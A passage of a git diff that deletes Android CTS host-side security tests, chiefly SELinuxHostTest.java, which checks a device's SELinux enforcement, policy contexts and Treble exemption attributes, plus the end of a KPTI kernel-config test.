-        }
-    }
-
-    /**
-     * Test that the kernel has KTPI enabled for architectures and kernel versions that support it.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testConfigKTPI() throws Exception {
-        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
-            return;
-        }
-
-        if (CpuFeatures.isArm64(mDevice) && !CpuFeatures.kernelVersionLessThan(mDevice, 4, 4)) {
-            assertTrue("Linux kernel must have KPTI enabled: CONFIG_UNMAP_KERNEL_AT_EL0=y",
-                    configSet.contains("CONFIG_UNMAP_KERNEL_AT_EL0=y"));
-        } else if (CpuFeatures.isX86(mDevice)) {
-            assertTrue("Linux kernel must have KPTI enabled: CONFIG_PAGE_TABLE_ISOLATION=y",
-                    configSet.contains("CONFIG_PAGE_TABLE_ISOLATION=y"));
-        }
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
deleted file mode 100644
index b32a054..0000000
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ /dev/null
@@ -1,1315 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.RestrictedBuildTest;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.PropertyUtil;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-
-import com.android.compatibility.common.util.CddTest;
-
-import java.io.BufferedReader;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileReader;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.Scanner;
-import java.util.Set;
-
-import javax.xml.parsers.DocumentBuilder;
-import javax.xml.parsers.DocumentBuilderFactory;
-import org.w3c.dom.Document;
-import org.w3c.dom.Element;
-
-/**
- * Host-side SELinux tests.
- *
- * These tests analyze the policy file in use on the subject device directly or
- * run as the shell user to evaluate aspects of the state of SELinux on the test
- * device which otherwise would not be available to a normal apk.
- */
-public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
-
-    private static final Map<ITestDevice, File> cachedDevicePolicyFiles = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDevicePlatFcFiles = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDeviceNonplatFcFiles = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDeviceVendorManifest = new HashMap<>(1);
-    private static final Map<ITestDevice, File> cachedDeviceSystemPolicy = new HashMap<>(1);
-
-    private File sepolicyAnalyze;
-    private File checkSeapp;
-    private File checkFc;
-    private File aospSeappFile;
-    private File aospFcFile;
-    private File aospPcFile;
-    private File aospSvcFile;
-    private File devicePolicyFile;
-    private File devicePlatSeappFile;
-    private File deviceNonplatSeappFile;
-    private File devicePlatFcFile;
-    private File deviceNonplatFcFile;
-    private File devicePcFile;
-    private File deviceSvcFile;
-    private File seappNeverAllowFile;
-    private File libsepolwrap;
-    private File libcpp;
-    private File sepolicyTests;
-
-    private IBuildInfo mBuild;
-
-    /**
-     * A reference to the device under test.
-     */
-    private ITestDevice mDevice;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mBuild = build;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        super.setDevice(device);
-        mDevice = device;
-    }
-
-    public static File copyResourceToTempFile(String resName) throws IOException {
-        InputStream is = SELinuxHostTest.class.getResourceAsStream(resName);
-        File tempFile = File.createTempFile("SELinuxHostTest", ".tmp");
-        FileOutputStream os = new FileOutputStream(tempFile);
-        byte[] buf = new byte[1024];
-        int len;
-
-        while ((len = is.read(buf)) != -1) {
-            os.write(buf, 0, len);
-        }
-        os.flush();
-        os.close();
-        tempFile.deleteOnExit();
-        return tempFile;
-    }
-
-    private static void appendTo(String dest, String src) throws IOException {
-        try (FileInputStream is = new FileInputStream(new File(src));
-             FileOutputStream os = new FileOutputStream(new File(dest))) {
-            byte[] buf = new byte[1024];
-            int len;
-
-            while ((len = is.read(buf)) != -1) {
-                os.write(buf, 0, len);
-            }
-        }
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
-        sepolicyAnalyze = buildHelper.getTestFile("sepolicy-analyze");
-        sepolicyAnalyze.setExecutable(true);
-
-        devicePolicyFile = getDevicePolicyFile(mDevice);
-        if (isSepolicySplit(mDevice)) {
-            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
-                    "/system/etc/selinux/plat_file_contexts", "plat_file_contexts");
-            if (mDevice.doesFileExist("/vendor/etc/selinux/nonplat_file_contexts")){
-                // Old nonplat_* naming can be present if a framework-only OTA was done.
-                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
-                        "/vendor/etc/selinux/nonplat_file_contexts", "nonplat_file_contexts");
-            } else {
-                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
-                        "/vendor/etc/selinux/vendor_file_contexts", "vendor_file_contexts");
-            }
-        } else {
-            devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
-                    "/plat_file_contexts", "plat_file_contexts");
-            deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
-                    "/vendor_file_contexts", "vendor_file_contexts");
-        }
-    }
-
-    /*
-     * IMPLEMENTATION DETAILS: We cache some host-side policy files on per-device basis (in case
-     * CTS supports running against multiple devices at the same time). HashMap is used instead
-     * of WeakHashMap because in the grand scheme of things, keeping ITestDevice and
-     * corresponding File objects from being garbage-collected is not a big deal in CTS. If this
-     * becomes a big deal, this can be switched to WeakHashMap.
-     */
-    private static File getDeviceFile(ITestDevice device,
-            Map<ITestDevice, File> cache, String deviceFilePath,
-            String tmpFileName) throws Exception {
-        if (!device.doesFileExist(deviceFilePath)){
-            throw new Exception();
-        }
-        File file;
-        synchronized (cache) {
-            file = cache.get(device);
-        }
-        if (file != null) {
-            return file;
-        }
-        file = File.createTempFile(tmpFileName, ".tmp");
-        file.deleteOnExit();
-        device.pullFile(deviceFilePath, file);
-        synchronized (cache) {
-            cache.put(device, file);
-        }
-        return file;
-    }
-
-    private static File buildSystemPolicy(ITestDevice device, Map<ITestDevice, File> cache,
-            String tmpFileName) throws Exception {
-        File builtPolicyFile;
-        synchronized (cache) {
-            builtPolicyFile = cache.get(device);
-        }
-        if (builtPolicyFile != null) {
-            return builtPolicyFile;
-        }
-
-
-        builtPolicyFile = File.createTempFile(tmpFileName, ".tmp");
-        builtPolicyFile.deleteOnExit();
-
-        File secilc = copyResourceToTempFile("/secilc");
-        secilc.setExecutable(true);
-
-        File systemSepolicyCilFile = File.createTempFile("plat_sepolicy", ".cil");
-        systemSepolicyCilFile.deleteOnExit();
-
-        assertTrue(device.pullFile("/system/etc/selinux/plat_sepolicy.cil", systemSepolicyCilFile));
-
-        ProcessBuilder pb = new ProcessBuilder(
-            secilc.getAbsolutePath(),
-            "-m", "-M", "true", "-c", "30",
-            "-o", builtPolicyFile.getAbsolutePath(),
-            systemSepolicyCilFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue(errorString.toString(), errorString.length() == 0);
-
-        synchronized (cache) {
-            cache.put(device, builtPolicyFile);
-        }
-        return builtPolicyFile;
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns the host-side file containing the SELinux policy of the device under test.
-     */
-    public static File getDevicePolicyFile(ITestDevice device) throws Exception {
-        return getDeviceFile(device, cachedDevicePolicyFiles, "/sys/fs/selinux/policy", "sepolicy");
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns the host-side file containing the system SELinux policy of the device under test.
-     */
-    public static File getDeviceSystemPolicyFile(ITestDevice device) throws Exception {
-        return buildSystemPolicy(device, cachedDeviceSystemPolicy, "system_sepolicy");
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns the major number of sepolicy version of device's vendor implementation.
-     * TODO(b/37999212): Use VINTF object API instead of parsing vendor manifest.
-     */
-    public static int getVendorSepolicyVersion(ITestDevice device) throws Exception {
-        String deviceManifestPath =
-                (device.doesFileExist("/vendor/etc/vintf/manifest.xml")) ?
-                "/vendor/etc/vintf/manifest.xml" :
-                "/vendor/manifest.xml";
-        File vendorManifestFile = getDeviceFile(device, cachedDeviceVendorManifest,
-                deviceManifestPath, "manifest.xml");
-
-        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
-        DocumentBuilder db = dbf.newDocumentBuilder();
-        Document doc = db.parse(vendorManifestFile);
-        Element root = doc.getDocumentElement();
-        Element sepolicy = (Element) root.getElementsByTagName("sepolicy").item(0);
-        Element version = (Element) sepolicy.getElementsByTagName("version").item(0);
-        String sepolicyVersion = version.getTextContent().split("\\.")[0];
-        return Integer.parseInt(sepolicyVersion);
-    }
-
-    /**
-     * Tests that the kernel is enforcing selinux policy globally.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testGlobalEnforcing() throws Exception {
-        CollectingOutputReceiver out = new CollectingOutputReceiver();
-        mDevice.executeShellCommand("cat /sys/fs/selinux/enforce", out);
-        assertEquals("SELinux policy is not being enforced!", "1", out.getOutput());
-    }
-
-    /**
-     * Tests that all domains in the running policy file are in enforcing mode
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    @RestrictedBuildTest
-    public void testAllDomainsEnforcing() throws Exception {
-
-        /* run sepolicy-analyze permissive check on policy file */
-        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(), "permissive");
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The following SELinux domains were found to be in permissive mode:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Asserts that specified type is not associated with the specified
-     * attribute.
-     *
-     * @param attribute
-     *  The attribute name.
-     * @param type
-     *  The type name.
-     */
-    private void assertNotInAttribute(String attribute, String badtype) throws Exception {
-        Set<String> actualTypes = sepolicyAnalyzeGetTypesAssociatedWithAttribute(attribute);
-        if (actualTypes.contains(badtype)) {
-            fail("Attribute " + attribute + " includes " + badtype);
-        }
-    }
-
-    private static final byte[] readFully(InputStream in) throws IOException {
-        ByteArrayOutputStream result = new ByteArrayOutputStream();
-        byte[] buf = new byte[65536];
-        int chunkSize;
-        while ((chunkSize = in.read(buf)) != -1) {
-            result.write(buf, 0, chunkSize);
-        }
-        return result.toByteArray();
-    }
-
-    /**
-     * Runs sepolicy-analyze against the device's SELinux policy and returns the set of types
-     * associated with the provided attribute.
-     */
-    private Set<String> sepolicyAnalyzeGetTypesAssociatedWithAttribute(
-            String attribute) throws Exception {
-        ProcessBuilder pb =
-                new ProcessBuilder(
-                        sepolicyAnalyze.getAbsolutePath(),
-                        devicePolicyFile.getAbsolutePath(),
-                        "attribute",
-                        attribute);
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        int errorCode = p.waitFor();
-        if (errorCode != 0) {
-            fail("sepolicy-analyze attribute " + attribute + " failed with error code " + errorCode
-                    + ": " + new String(readFully(p.getInputStream())));
-        }
-        try (BufferedReader in =
-                new BufferedReader(new InputStreamReader(p.getInputStream()))) {
-            Set<String> types = new HashSet<>();
-            String type;
-            while ((type = in.readLine()) != null) {
-                types.add(type.trim());
-            }
-            return types;
-        }
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns {@code true} if this device is required to be a full Treble device.
-     */
-    public static boolean isFullTrebleDevice(ITestDevice device)
-            throws DeviceNotAvailableException {
-        return PropertyUtil.getFirstApiLevel(device) > 26 &&
-                PropertyUtil.propertyEquals(device, "ro.treble.enabled", "true");
-    }
-
-    private boolean isFullTrebleDevice() throws DeviceNotAvailableException {
-        return isFullTrebleDevice(mDevice);
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns {@code true} if this device is required to enforce compatible property.
-     */
-    public static boolean isCompatiblePropertyEnforcedDevice(ITestDevice device)
-            throws DeviceNotAvailableException {
-        return PropertyUtil.propertyEquals(
-                device, "ro.actionable_compatible_property.enabled", "true");
-    }
-
-    // NOTE: cts/tools/selinux depends on this method. Rename/change with caution.
-    /**
-     * Returns {@code true} if this device has sepolicy split across different paritions.
-     * This is possible even for devices launched at api level higher than 26.
-     */
-    public static boolean isSepolicySplit(ITestDevice device)
-            throws DeviceNotAvailableException {
-        return device.doesFileExist("/system/etc/selinux/plat_file_contexts");
-    }
-
-    /**
-     * Asserts that no vendor domains are exempted from the prohibition on Binder use.
-     *
-     * <p>NOTE: binder_in_vendor_violators attribute is only there to help bring up Treble devices.
-     * It offers a convenient way to temporarily bypass the prohibition on Binder use in vendor
-     * domains. This attribute must not be used on production Treble devices.
-     */
-    public void testNoExemptionsForBinderInVendorBan() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-
-        Set<String> types =
-            sepolicyAnalyzeGetTypesAssociatedWithAttribute("binder_in_vendor_violators");
-        if (!types.isEmpty()) {
-            List<String> sortedTypes = new ArrayList<>(types);
-            Collections.sort(sortedTypes);
-            fail("Policy exempts vendor domains from ban on Binder: " + sortedTypes);
-        }
-    }
-
-    /**
-     * Asserts that no HAL server domains are exempted from the prohibition of socket use with the
-     * only exceptions for the automotive device type.
-     */
-    public void testNoExemptionsForSocketsUseWithinHalServer() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-
-        if (getDevice().hasFeature("android.hardware.type.automotive")) {
-            return;
-        }
-
-        Set<String> types = sepolicyAnalyzeGetTypesAssociatedWithAttribute(
-                "hal_automotive_socket_exemption");
-        if (!types.isEmpty()) {
-            List<String> sortedTypes = new ArrayList<>(types);
-            Collections.sort(sortedTypes);
-            fail("Policy exempts domains from ban on socket usage from HAL servers: "
-                    + sortedTypes);
-        }
-    }
-
-    /**
-     * Asserts that no domains are exempted from the prohibition on initiating socket communications
-     * between core and vendor domains.
-     *
-     * <p>NOTE: socket_between_core_and_vendor_violators attribute is only there to help bring up
-     * Treble devices. It offers a convenient way to temporarily bypass the prohibition on
-     * initiating socket communications between core and vendor domains. This attribute must not be
-     * used on production Treble devices.
-     */
-    public void testNoExemptionsForSocketsBetweenCoreAndVendorBan() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-
-        Set<String> types =
-                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
-                        "socket_between_core_and_vendor_violators");
-        if (!types.isEmpty()) {
-            List<String> sortedTypes = new ArrayList<>(types);
-            Collections.sort(sortedTypes);
-            fail("Policy exempts domains from ban on socket communications between core and"
-                    + " vendor: " + sortedTypes);
-        }
-    }
-
-    /**
-     * Asserts that no vendor domains are exempted from the prohibition on directly
-     * executing binaries from /system.
-     * */
-    public void testNoExemptionsForVendorExecutingCore() throws Exception {
-        if (!isFullTrebleDevice()) {
-            return;
-        }
-
-        Set<String> types =
-                sepolicyAnalyzeGetTypesAssociatedWithAttribute(
-                        "vendor_executes_system_violators");
-        if (!types.isEmpty()) {
-            List<String> sortedTypes = new ArrayList<>(types);
-            Collections.sort(sortedTypes);
-            fail("Policy exempts vendor domains from ban on executing files in /system: "
-                    + sortedTypes);
-        }
-    }
-
-    /**
-     * Tests that mlstrustedsubject does not include untrusted_app
-     * and that mlstrustedobject does not include app_data_file.
-     * This helps prevent circumventing the per-user isolation of
-     * normal apps via levelFrom=user.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testMLSAttributes() throws Exception {
-        assertNotInAttribute("mlstrustedsubject", "untrusted_app");
-        assertNotInAttribute("mlstrustedobject", "app_data_file");
-    }
-
-    /**
-     * Tests that the seapp_contexts file on the device is valid.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testValidSeappContexts() throws Exception {
-
-        /* obtain seapp_contexts file from running device */
-        devicePlatSeappFile = File.createTempFile("plat_seapp_contexts", ".tmp");
-        devicePlatSeappFile.deleteOnExit();
-        deviceNonplatSeappFile = File.createTempFile("nonplat_seapp_contexts", ".tmp");
-        deviceNonplatSeappFile.deleteOnExit();
-        if (mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
-            mDevice.pullFile("/vendor/etc/selinux/nonplat_seapp_contexts", deviceNonplatSeappFile);
-        }else {
-            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
-            mDevice.pullFile("/nonplat_seapp_contexts", deviceNonplatSeappFile);
-	}
-
-        /* retrieve the checkseapp executable from jar */
-        checkSeapp = copyResourceToTempFile("/checkseapp");
-        checkSeapp.setExecutable(true);
-
-        /* retrieve the AOSP seapp_neverallows file from jar */
-        seappNeverAllowFile = copyResourceToTempFile("/plat_seapp_neverallows");
-
-        /* run checkseapp on seapp_contexts */
-        ProcessBuilder pb = new ProcessBuilder(checkSeapp.getAbsolutePath(),
-                "-p", devicePolicyFile.getAbsolutePath(),
-                seappNeverAllowFile.getAbsolutePath(),
-                devicePlatSeappFile.getAbsolutePath(),
-                deviceNonplatSeappFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The seapp_contexts file was invalid:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Asserts that the actual file contents starts with the expected file
-     * contents.
-     *
-     * @param expectedFile
-     *  The file with the expected contents.
-     * @param actualFile
-     *  The actual file being checked.
-     */
-    private void assertFileStartsWith(File expectedFile, File actualFile) throws Exception {
-        BufferedReader expectedReader = new BufferedReader(new FileReader(expectedFile.getAbsolutePath()));
-        BufferedReader actualReader = new BufferedReader(new FileReader(actualFile.getAbsolutePath()));
-        String expectedLine, actualLine;
-        while ((expectedLine = expectedReader.readLine()) != null) {
-            actualLine = actualReader.readLine();
-            assertEquals("Lines do not match:", expectedLine, actualLine);
-        }
-    }
-
-    /**
-     * Tests that the seapp_contexts file on the device contains
-     * the standard AOSP entries.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testAospSeappContexts() throws Exception {
-
-        /* obtain seapp_contexts file from running device */
-        devicePlatSeappFile = File.createTempFile("seapp_contexts", ".tmp");
-        devicePlatSeappFile.deleteOnExit();
-        if (!mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
-            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
-        }
-        /* retrieve the AOSP seapp_contexts file from jar */
-        aospSeappFile = copyResourceToTempFile("/plat_seapp_contexts");
-
-        assertFileStartsWith(aospSeappFile, devicePlatSeappFile);
-    }
-
-    /**
-     * Tests that the file_contexts.bin file on the device contains
-     * the standard AOSP entries.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testAospFileContexts() throws Exception {
-
-        /* retrieve the checkfc executable from jar */
-        checkFc = copyResourceToTempFile("/checkfc");
-        checkFc.setExecutable(true);
-
-        /* retrieve the AOSP file_contexts file from jar */
-        aospFcFile = copyResourceToTempFile("/plat_file_contexts");
-
-        /* run checkfc -c plat_file_contexts file_contexts.bin */
-        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
-                "-c", aospFcFile.getAbsolutePath(),
-                devicePlatFcFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line = result.readLine();
-        assertTrue("The file_contexts file did not include the AOSP entries:\n"
-                   + line + "\n",
-                   line.equals("equal") || line.equals("subset"));
-    }
-
-    /**
-     * Tests that the property_contexts file on the device contains
-     * the standard AOSP entries.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testAospPropertyContexts() throws Exception {
-
-        /* obtain property_contexts file from running device */
-        devicePcFile = File.createTempFile("plat_property_contexts", ".tmp");
-        devicePcFile.deleteOnExit();
-        // plat_property_contexts may be either in /system/etc/sepolicy or in /
-        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
-            mDevice.pullFile("/plat_property_contexts", devicePcFile);
-        }
-
-        // Retrieve the AOSP property_contexts file from JAR.
-        // The location of this file in the JAR has nothing to do with the location of this file on
-        // Android devices. See build script of this CTS module.
-        aospPcFile = copyResourceToTempFile("/plat_property_contexts");
-
-        assertFileStartsWith(aospPcFile, devicePcFile);
-    }
-
-    /**
-     * Tests that the service_contexts file on the device contains
-     * the standard AOSP entries.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testAospServiceContexts() throws Exception {
-
-        /* obtain service_contexts file from running device */
-        deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
-        deviceSvcFile.deleteOnExit();
-        if (!mDevice.pullFile("/system/etc/selinux/plat_service_contexts", deviceSvcFile)) {
-            mDevice.pullFile("/plat_service_contexts", deviceSvcFile);
-        }
-
-        /* retrieve the AOSP service_contexts file from jar */
-        aospSvcFile = copyResourceToTempFile("/plat_service_contexts");
-
-        assertFileStartsWith(aospSvcFile, deviceSvcFile);
-    }
-
-    /**
-     * Tests that the file_contexts file(s) on the device is valid.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testValidFileContexts() throws Exception {
-
-        /* retrieve the checkfc executable from jar */
-        checkFc = copyResourceToTempFile("/checkfc");
-        checkFc.setExecutable(true);
-
-        /* combine plat and nonplat policies for testing */
-        File combinedFcFile = File.createTempFile("combined_file_context", ".tmp");
-        combinedFcFile.deleteOnExit();
-        appendTo(combinedFcFile.getAbsolutePath(), devicePlatFcFile.getAbsolutePath());
-        appendTo(combinedFcFile.getAbsolutePath(), deviceNonplatFcFile.getAbsolutePath());
-
-        /* run checkfc sepolicy file_contexts */
-        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(),
-                combinedFcFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("file_contexts was invalid:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Tests that the property_contexts file on the device is valid.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testValidPropertyContexts() throws Exception {
-
-        /* retrieve the checkfc executable from jar */
-        File propertyInfoChecker = copyResourceToTempFile("/property_info_checker");
-        propertyInfoChecker.setExecutable(true);
-
-        /* obtain property_contexts file from running device */
-        devicePcFile = File.createTempFile("property_contexts", ".tmp");
-        devicePcFile.deleteOnExit();
-        // plat_property_contexts may be either in /system/etc/sepolicy or in /
-        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
-            mDevice.pullFile("/plat_property_contexts", devicePcFile);
-        }
-
-        /* run property_info_checker on property_contexts */
-        ProcessBuilder pb = new ProcessBuilder(propertyInfoChecker.getAbsolutePath(),
-                devicePolicyFile.getAbsolutePath(),
-                devicePcFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The property_contexts file was invalid:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    /**
-     * Tests that the service_contexts file on the device is valid.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testValidServiceContexts() throws Exception {
-
-        /* retrieve the checkfc executable from jar */
-        checkFc = copyResourceToTempFile("/checkfc");
-        checkFc.setExecutable(true);
-
-        /* obtain service_contexts file from running device */
-        deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
-        deviceSvcFile.deleteOnExit();
-        mDevice.pullFile("/service_contexts", deviceSvcFile);
-
-        /* run checkfc -s on service_contexts */
-        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
-                "-s", devicePolicyFile.getAbsolutePath(),
-                deviceSvcFile.getAbsolutePath());
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue("The service_contexts file was invalid:\n"
-                   + errorString, errorString.length() == 0);
-    }
-
-    public static boolean isMac() {
-        String os = System.getProperty("os.name").toLowerCase();
-        return (os.startsWith("mac") || os.startsWith("darwin"));
-    }
-
-    private void setupLibraries() throws Exception {
-        // The host side binary tests are host OS specific. Use Linux
-        // libraries on Linux and Mac libraries on Mac.
-        if (isMac()) {
-            libsepolwrap = copyResourceToTempFile("/libsepolwrap.dylib");
-            libcpp = copyResourceToTempFile("/libc++.dylib");
-            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib"));
-        } else {
-            libsepolwrap = copyResourceToTempFile("/libsepolwrap.so");
-            libcpp = copyResourceToTempFile("/libc++.so");
-            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.so"));
-        }
-        libsepolwrap.deleteOnExit();
-        libcpp.deleteOnExit();
-    }
-
-    private void assertSepolicyTests(String test, String testExecutable) throws Exception {
-        setupLibraries();
-        sepolicyTests = copyResourceToTempFile(testExecutable);
-        sepolicyTests.setExecutable(true);
-        ProcessBuilder pb = new ProcessBuilder(
-                sepolicyTests.getAbsolutePath(),
-                "-l", libsepolwrap.getAbsolutePath(),
-                "-f", devicePlatFcFile.getAbsolutePath(),
-                "-f", deviceNonplatFcFile.getAbsolutePath(),
-                "-p", devicePolicyFile.getAbsolutePath(),
-                "--test", test);
-        Map<String, String> env = pb.environment();
-        if (isMac()) {
-            env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
-        } else {
-            env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
-        }
-        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
-        pb.redirectErrorStream(true);
-        Process p = pb.start();
-        p.waitFor();
-        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
-        String line;
-        StringBuilder errorString = new StringBuilder();
-        while ((line = result.readLine()) != null) {
-            errorString.append(line);
-            errorString.append("\n");
-        }
-        assertTrue(errorString.toString(), errorString.length() == 0);
-    }
-
-    /**
-     * Tests that all types on /data have the data_file_type attribute.
-     *
-     * @throws Exception
-     */
-    public void testDataTypeViolators() throws Exception {
-        assertSepolicyTests("TestDataTypeViolations", "/sepolicy_tests");
-    }
-
-    /**
-     * Tests that all types in /proc have the proc_type attribute.
-     *
-     * @throws Exception
-     */
-    public void testProcTypeViolators() throws Exception {
-        assertSepolicyTests("TestProcTypeViolations", "/sepolicy_tests");
-    }
-
-    /**
-     * Tests that all types in /sys have the sysfs_type attribute.
-     *
-     * @throws Exception
-     */
-    public void testSysfsTypeViolators() throws Exception {
